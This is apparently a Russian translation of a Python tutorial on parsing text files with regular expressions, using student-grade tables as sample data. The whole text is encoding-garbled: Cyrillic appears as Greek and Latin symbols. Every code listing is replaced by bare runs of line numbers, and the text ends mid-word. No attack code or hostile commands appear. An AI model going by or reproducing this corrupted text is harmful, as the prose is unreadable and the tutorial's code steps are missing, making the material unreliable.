: ΡΠΈΠΌΠ²ΠΎΠ» Π½ΠΎΠ²ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π² ΠΊΠΎΠ½ΡΠ΅ ΡΡΡΠΎΠΊΠΈ
ΠΠ°ΡΠ΅ΠΌ Π½Π°ΠΌ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡΡΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ ΠΎΡΠ΅Π½ΠΊΠΈ. ΠΠ³ΠΎ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ - Grade = (\ d +) \ n
.ΠΡΠΎ ΠΎΡΠ΅Π½Ρ ΠΏΠΎΡ
ΠΎΠΆΠ΅ Π½Π° ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅Π΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅. ΠΠΎΠ²ΡΠ΅ ΡΠΈΠΌΠ²ΠΎΠ»Ρ:
-
\ d
: ΡΠΎΠΊΡΠ°ΡΠ΅Π½ΠΈΠ΅ ΠΎΡ [0-9] -
+
: 1 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ· ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠ΅Π³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ
ΠΠ°ΠΊΠΎΠ½Π΅Ρ, Π½Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅, ΡΡΠΎΠ±Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΡ, ΡΠ²Π»ΡΠ΅ΡΡΡ Π»ΠΈ ΡΠ°Π±Π»ΠΈΡΠ°, ΡΠ»Π΅Π΄ΡΡΡΠ°Ρ Π·Π° Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ Π² ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠΌ ΡΠ°ΠΉΠ»Π΅, ΡΠ°Π±Π»ΠΈΡΠ΅ΠΉ ΠΈΠΌΠ΅Π½ ΠΈΠ»ΠΈ ΠΎΡΠ΅Π½ΠΎΠΊ. ΠΠ³ΠΎ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ - (ΠΠΌΡ | ΠΡΠ΅Π½ΠΊΠ°)
. ΠΠΎΠ²ΡΠΉ ΡΠΈΠΌΠ²ΠΎΠ»:
-
|
: Π»ΠΎΠ³ΠΈΠΊΠ° ΠΈΠ»ΠΈ ΡΡΠ²Π΅ΡΠΆΠ΄Π΅Π½ΠΈΠ΅, ΠΏΠΎΡΡΠΎΠΌΡ Π² Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΡΡΠΎ ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ Β«ΠΠΌΡΒ» ΠΈΠ»ΠΈ Β«ΠΡΠ΅Π½ΠΊΠ°Β».β
ΠΠ°ΠΌ ΡΠ°ΠΊΠΆΠ΅ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°ΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΡΠ½ΠΊΡΠΈΠΉ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ:
-
re.compile (ΡΠ°Π±Π»ΠΎΠ½)
: ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡΠΎΠ²Π°ΡΡ ΡΠ°Π±Π»ΠΎΠ½ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ Π²RegexObject.
A RegexObject
ΠΈΠΌΠ΅Π΅Ρ ΡΠ»Π΅Π΄ΡΡΡΠΈΠ΅ ΠΌΠ΅ΡΠΎΠ΄Ρ:
-
match (string)
: ΠΡΠ»ΠΈ Π½Π°ΡΠ°Π»ΠΎ ΡΡΡΠΎΠΊΠΈ ΡΠΎΠ²ΠΏΠ°Π΄Π°Π΅Ρ Ρ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠΌ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π²Π΅ΡΠ½ΡΡΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠΉ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡMatchObject
. Π ΠΏΡΠΎΡΠΈΠ²Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ Π²Π΅ΡΠ½ΠΈΡΠ΅ΠΠ΅Ρ
. -
search (ΡΡΡΠΎΠΊΠ°)
: ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ Π² ΠΏΠΎΠΈΡΠΊΠ°Ρ ΠΌΠ΅ΡΡΠ°, Π³Π΄Π΅ ΡΡΠΎ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ Π΄Π°Π»ΠΎ ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΠ΅, ΠΈ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°ΡΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠΉ ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡMatchObject
.ΠΠ΅ΡΠ½ΡΡΡΠΠ΅Ρ
, Π΅ΡΠ»ΠΈ ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΠΉ Π½Π΅Ρ.
MatchObject
Π²ΡΠ΅Π³Π΄Π° ΠΈΠΌΠ΅Π΅Ρ Π»ΠΎΠ³ΠΈΡΠ΅ΡΠΊΠΎΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ True
. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΎΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡ if
Π΄Π»Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΡ ΠΏΠΎΠ»ΠΎΠΆΠΈΡΠ΅Π»ΡΠ½ΡΡ
ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΠΉ. ΠΠΌΠ΅Π΅Ρ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ ΠΌΠ΅ΡΠΎΠ΄:
-
group ()
: Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΠΎΠ΄Π½Ρ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΠ΄Π³ΡΡΠΏΠΏ ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΡ. ΠΠ° Π³ΡΡΠΏΠΏΡ ΠΌΠΎΠΆΠ½ΠΎ ΡΡΡΠ»Π°ΡΡΡΡ ΠΏΠΎ ΠΈΡ ΠΈΠ½Π΄Π΅ΠΊΡΡ.group (0)
Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ Π²ΡΠ΅ ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΠ΅.group (1)
Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΠΏΠ΅ΡΠ²ΡΡ ΠΏΠΎΠ΄Π³ΡΡΠΏΠΏΡ Π² ΡΠΊΠΎΠ±ΠΊΠ°Ρ ΠΈ ΡΠ°ΠΊ Π΄Π°Π»Π΅Π΅.ΠΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΠ΅ Π½Π°ΠΌΠΈ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ ΠΈΠΌΠ΅ΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΠΎΠ΄Π½Ρ Π³ΡΡΠΏΠΏΡ. ΠΠ΅Π³ΠΊΠΎ! ΠΠ΄Π½Π°ΠΊΠΎ ΡΡΠΎ, Π΅ΡΠ»ΠΈ Π±ΡΠ»ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π³ΡΡΠΏΠΏ? ΠΡΠ»ΠΎ Π±Ρ ΡΠ»ΠΎΠΆΠ½ΠΎ Π²ΡΠΏΠΎΠΌΠ½ΠΈΡΡ, ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡ Π½ΠΎΠΌΠ΅ΡΡ ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ Π³ΡΡΠΏΠΏΠ°. Π‘ΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΠΎΠ΅ Π΄Π»Ρ Python ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½Π°ΠΌ Π½Π°Π·ΡΠ²Π°ΡΡ Π³ΡΡΠΏΠΏΡ ΠΈ Π²ΠΌΠ΅ΡΡΠΎ ΡΡΠΎΠ³ΠΎ ΡΡΡΠ»Π°ΡΡΡΡ Π½Π° Π½ΠΈΡ ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ. ΠΡ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΊΠ°Π·Π°ΡΡ ΠΈΠΌΡ Π² Π·Π°ΠΊΠ»ΡΡΠ΅Π½Π½ΠΎΠΉ Π² ΡΠΊΠΎΠ±ΠΊΠΈ Π³ΡΡΠΏΠΏΠ΅(...)
, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ:(? P
....)
ΠΠ°Π²Π°ΠΉΡΠ΅ ΡΠ½Π°ΡΠ°Π»Π° ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΠΌ Π²ΡΠ΅ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ. ΠΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ Π½Π΅ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°Π½Π½ΡΠ΅ ΡΡΡΠΎΠΊΠΈ Π΄Π»Ρ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ³ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ, Ρ.Π΅. ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΠΈΠ½Π΄Π΅ΠΊΡ r
ΠΏΠ΅ΡΠ΅Π΄ ΠΊΠ°ΠΆΠ΄ΡΠΌ ΡΠ°Π±Π»ΠΎΠ½ΠΎΠΌ.
| |
Π¨Π°Π³ 4. ΠΠ°ΠΏΠΈΡΠΈΡΠ΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΡΡΡΠΎΠΊΠΈ
ΠΠ°ΡΠ΅ΠΌ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΡ, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ.
1213 | |
Π¨Π°Π³ 5: ΠΠ°ΠΏΠΈΡΠΈΡΠ΅ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΡΠ°ΠΉΠ»Π°
ΠΠ°ΠΊΠΎΠ½Π΅Ρ, Π΄Π»Ρ Π³Π»Π°Π²Π½ΠΎΠ³ΠΎ ΡΠΎΠ±ΡΡΠΈΡ Ρ Π½Π°Ρ Π΅ΡΡΡ ΡΡΠ½ΠΊΡΠΈΡ ΠΏΠ°ΡΡΠ΅ΡΠ° ΡΠ°ΠΉΠ»ΠΎΠ².ΠΠ½ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ Π±ΠΎΠ»ΡΡΠΎΠΉ, Π½ΠΎ, Π½Π°Π΄Π΅ΡΡΡ, ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ Π² ΠΊΠΎΠ΄Π΅ ΠΏΠΎΠΌΠΎΠ³ΡΡ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡΡ Π»ΠΎΠ³ΠΈΠΊΡ.
121314151617181 2223242526272829303132333435363738394041424344454647484950515253545556575859606162636465 | |
Π¨Π°Π³ 6. ΠΡΠΎΡΠ΅ΡΡΠΈΡΡΠΉΡΠ΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ
.
ΠΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π½Π°Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ Π΄Π»Ρ Π½Π°ΡΠ΅Π³ΠΎ ΠΎΠ±ΡΠ°Π·ΡΠ° ΡΠ΅ΠΊΡΡΠ° ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
| |
ΠΠΌΡ ΠΡΠ΅Π½ΠΊΠ°
ΠΠΎΠΌΠ΅Ρ ΡΠΊΠΎΠ»ΡΠ½ΠΎΠ³ΠΎ ΠΊΠ»Π°ΡΡΠ°
Π₯ΠΎΠ³Π²Π°ΡΡΡ 1 0 ΠΠΆΠΈΠ½Π½ΠΈ 8
1 ΠΡΠ½Π° 7
2 0 ΠΠ°ΡΡΠΈ 5
1 ΠΠ΅ΡΠΌΠΈΠΎΠ½Π° 10
3 0 Π€ΡΠ΅Π΄ 0
1 ΠΠ΅ΠΎΡΠ³ΠΈΠΉ 0
Π ΠΈΠ²Π΅ΡΠ΄Π΅ΠΉΠ» Π₯Π°ΠΉ 1 0 Π€ΠΈΠ±ΠΈ 3
1 Π ΡΠΉΡΠ΅Π» 7
2 0 ΠΠ½Π΄ΠΆΠ΅Π»Π° 6
1 Π’ΡΠΈΡΡΠ°Π½ 3
2 ΠΠ²ΡΠΎΡΠ° 9
ΠΡΠΎ Π²ΡΠ΅ Ρ ΠΎΡΠΎΡΠΎ, ΠΈ Π²Ρ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΡΠ²ΠΈΠ΄Π΅ΡΡ, ΡΡΠ°Π²Π½ΠΈΠ² Π²Π²ΠΎΠ΄ ΠΈ Π²ΡΠ²ΠΎΠ΄ Π½Π° Π³Π»Π°Π·, ΡΡΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ.ΠΠ΄Π½Π°ΠΊΠΎ Π»ΡΡΡΠ΅ Π²ΡΠ΅Π³ΠΎ Π²ΡΠ΅Π³Π΄Π° ΠΏΠΈΡΠ°ΡΡ ΠΌΠΎΠ΄ΡΠ»ΡΠ½ΡΠ΅ ΡΠ΅ΡΡΡ, ΡΡΠΎΠ±Ρ ΡΠ±Π΅Π΄ΠΈΡΡΡΡ, ΡΡΠΎ Π²Π°Ρ ΠΊΠΎΠ΄ Π²ΡΠΏΠΎΠ»Π½ΡΠ΅Ρ ΡΠΎ, ΡΡΠΎ Π²Ρ Ρ ΠΎΡΠ΅Π»ΠΈ. ΠΠ°ΠΆΠ΄ΡΠΉ ΡΠ°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ ΠΏΠΈΡΠ΅ΡΠ΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡ, ΡΠ±Π΅Π΄ΠΈΡΠ΅ΡΡ, ΡΡΠΎ ΠΎΠ½ Ρ ΠΎΡΠΎΡΠΎ ΠΏΡΠΎΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½. Π£ ΠΌΠ΅Π½Ρ Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ Ρ ΠΌΠΎΠΈΠΌΠΈ ΠΊΠΎΠ»Π»Π΅Π³Π°ΠΌΠΈ ΠΈΠ·-Π·Π° ΡΠΎΠ³ΠΎ, ΡΡΠΎ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» ΠΏΠ°ΡΡΠ΅ΡΡ Π±Π΅Π· ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΡΠ°Π½Π΅Π΅. Π£Π³Ρ! Π’Π°ΠΊΠΆΠ΅ ΡΡΠΎΠΈΡ ΠΎΡΠΌΠ΅ΡΠΈΡΡ, ΡΡΠΎ ΡΡΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΠΉ ΡΠ°Π³. ΠΠ΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΡΡ ΠΏΡΠΎΠΏΠΎΠ²Π΅Π΄ΡΡΡ ΡΠ°Π·ΡΠ°Π±ΠΎΡΠΊΡ ΡΠ΅ΡΠ΅Π· ΡΠ΅ΡΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅. Π― Π½Π΅ Π²ΠΊΠ»ΡΡΠΈΠ» ΡΡΠ΄Π° Π½Π°Π±ΠΎΡ ΡΠ΅ΡΡΠΎΠ², ΡΠ°ΠΊ ΠΊΠ°ΠΊ Ρ ΠΎΡΠ΅Π», ΡΡΠΎΠ±Ρ ΡΡΠΎ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ Π±ΡΠ»ΠΎ ΠΊΡΠ°ΡΠΊΠΈΠΌ.
Π― ΡΠ°Π·Π±ΠΈΡΠ°Π» ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Π² ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π³ΠΎΠ΄Π° ΠΈ ΡΠΎ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ ΡΡΠΎΠ²Π΅ΡΡΠ΅Π½ΡΡΠ²ΠΎΠ²Π°Π» ΡΠ²ΠΎΠΉ ΠΌΠ΅ΡΠΎΠ΄. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ρ ΠΏΡΠΎΠ²Π΅Π» Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΠΎΠ΅ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΠ΅, ΡΡΠΎΠ±Ρ ΡΠ·Π½Π°ΡΡ, Π΅ΡΡΡ Π»ΠΈ Π»ΡΡΡΠ΅Π΅ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅. Π ΡΠ°ΠΌΠΎΠΌ Π΄Π΅Π»Π΅, Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ±Π»Π°Π³ΠΎΠ΄Π°ΡΠΈΡΡ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΡΠ»Π΅Π½ΠΎΠ² ΡΠΎΠΎΠ±ΡΠ΅ΡΡΠ²Π°, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΠΎΡΠΎΠ²Π΅ΡΠΎΠ²Π°Π»ΠΈ ΠΌΠ½Π΅ ΠΎΠΏΡΠΈΠΌΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΠΌΠΎΠΉ ΠΊΠΎΠ΄. Π‘ΠΎΠΎΠ±ΡΠ΅ΡΡΠ²ΠΎ ΡΠ°ΠΊΠΆΠ΅ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈΠ»ΠΎ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΡΠΏΠΎΡΠΎΠ±ΠΎΠ² ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°. ΠΠ΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΠ· Π½ΠΈΡ Π±ΡΠ»ΠΈ ΡΠΌΠ½ΡΠΌΠΈ ΠΈ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΡΠΌΠΈ. ΠΠΎΠΈΠΌ Π»ΠΈΡΠ½ΡΠΌ ΡΠ°Π²ΠΎΡΠΈΡΠΎΠΌ Π±ΡΠ» ΡΡΠΎΡ. Π― ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΠ» ΡΠ²ΠΎΠΉ ΠΏΡΠΈΠΌΠ΅Ρ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ ΠΈ ΡΠ΅ΡΠ΅Π½ΠΈΡ Π½Π° ΡΠΎΡΡΠΌΠ°Ρ Π½ΠΈΠΆΠ΅:
- ΠΠΎΡΡ Π½Π° Reddit
- Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Stackoverflow
- Π‘ΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Ρ ΠΎΠ±Π·ΠΎΡΠΎΠΌ ΠΊΠΎΠ΄Π°
ΠΡΠ»ΠΈ Π²Π°ΡΠ° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° Π΅ΡΠ΅ Π±ΠΎΠ»Π΅Π΅ ΡΠ»ΠΎΠΆΠ½Π°Ρ ΠΈ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ Π΅Π΅ Π½Π΅ ΡΠ΅ΡΠ°ΡΡ, ΡΠΎ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΡΠ°Π³ΠΎΠΌ Π±ΡΠ΄Π΅Ρ Π°Π½Π°Π»ΠΈΠ· Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ.ΠΠΎΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΌΠ΅ΡΡ Π΄Π»Ρ Π½Π°ΡΠ°Π»Π°:
- Π Π°Π·Π±ΠΎΡ ΡΠΆΠ°ΡΠ½ΡΡ
Π²Π΅ΡΠ΅ΠΉ Ρ ΠΏΠΎΠΌΠΎΡΡΡ Python:
ΠΠ΅ΠΊΡΠΈΡ ΠΡΠΈΠΊΠ° Π ΠΎΡΠ·Π° ΠΏΠΎ PyCon, Π² ΠΊΠΎΡΠΎΡΠΎΠΉ ΡΠ°ΡΡΠΌΠ°ΡΡΠΈΠ²Π°ΡΡΡΡ ΠΏΠ»ΡΡΡ ΠΈ ΠΌΠΈΠ½ΡΡΡ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°. - Π Π°Π·Π±ΠΎΡ Π² Python: ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ:
ΠΠ½ΡΡΡΡΠΌΠ΅Π½ΡΡ ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠΈΠ΅ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΠΏΠ°ΡΡΠ΅ΡΡ, ΠΊΠΎΠ³Π΄Π° ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ Π½Π΅Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ.
Π’Π΅ΠΏΠ΅ΡΡ, ΠΊΠΎΠ³Π΄Π° Π²Ρ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅ΡΠ΅, Π½Π°ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ»ΠΎΠΆΠ½ΡΠΌ ΠΈ ΡΠ°Π·Π΄ΡΠ°ΠΆΠ°ΡΡΠΈΠΌ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π°Π½Π°Π»ΠΈΠ· ΡΠ΅ΠΊΡΡΠΎΠ²ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ², Π΅ΡΠ»ΠΈ Π²Ρ ΠΊΠΎΠ³Π΄Π°-Π½ΠΈΠ±ΡΠ΄Ρ ΠΎΠΊΠ°ΠΆΠ΅ΡΠ΅ΡΡ Π² ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ ΠΏΡΠΈ Π²ΡΠ±ΠΎΡΠ΅ ΡΠΎΡΠΌΠ°ΡΠ° ΡΠ°ΠΉΠ»Π°, Π²ΡΠ±ΠΈΡΠ°ΠΉΡΠ΅ Π΅Π³ΠΎ Ρ ΠΎΡΡΠΎΡΠΎΠΆΠ½ΠΎΡΡΡΡ.ΠΠΎΡ Π»ΡΡΡΠΈΠ΅ ΠΏΡΠ°ΠΊΡΠΈΠΊΠΈ Π‘ΡΡΠ½ΡΠΎΡΠ΄Π° Π΄Π»Ρ ΡΠΎΡΠΌΠ°ΡΠΎΠ² ΡΠ°ΠΉΠ»ΠΎΠ².
Π― Π±Ρ ΡΠΎΠ»Π³Π°Π», Π΅ΡΠ»ΠΈ Π±Ρ ΡΠΊΠ°Π·Π°Π», ΡΡΠΎ ΠΌΠ½Π΅ ΠΏΠΎΠ½ΡΠ°Π²ΠΈΠ»ΡΡ ΠΌΠΎΠΉ ΠΌΠ΅ΡΠΎΠ΄ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°, Π½ΠΎ Ρ Π½Π΅ Π·Π½Π°Ρ Π΄ΡΡΠ³ΠΎΠ³ΠΎ ΡΠΏΠΎΡΠΎΠ±Π°, Π±ΡΡΡΡΠΎΠ³ΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°, ΠΊΠΎΡΠΎΡΡΠΉ ΡΠ°ΠΊ ΠΆΠ΅ ΡΠ΄ΠΎΠ±Π΅Π½ Π΄Π»Ρ Π½ΠΎΠ²ΠΈΡΠΊΠΎΠ², ΠΊΠ°ΠΊ ΡΠΎ, ΡΡΠΎ Ρ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΠ» Π²ΡΡΠ΅. ΠΡΠ»ΠΈ Π²Ρ Π·Π½Π°Π΅ΡΠ΅ Π»ΡΡΡΠ΅Π΅ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅, Ρ Π²ΡΠ΅ΠΌ Π²Π½ΠΈΠΌΠ°ΡΠ΅Π»Π΅Π½! ΠΠ°Π΄Π΅ΡΡΡ, Ρ Π΄Π°Π» Π²Π°ΠΌ Ρ ΠΎΡΠΎΡΡΡ ΠΎΡΠΏΡΠ°Π²Π½ΡΡ ΡΠΎΡΠΊΡ Π΄Π»Ρ Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ°ΠΉΠ»Π° Π½Π° Python! Π― ΠΏΠΎΡΡΠ°ΡΠΈΠ» ΠΏΠ°ΡΡ 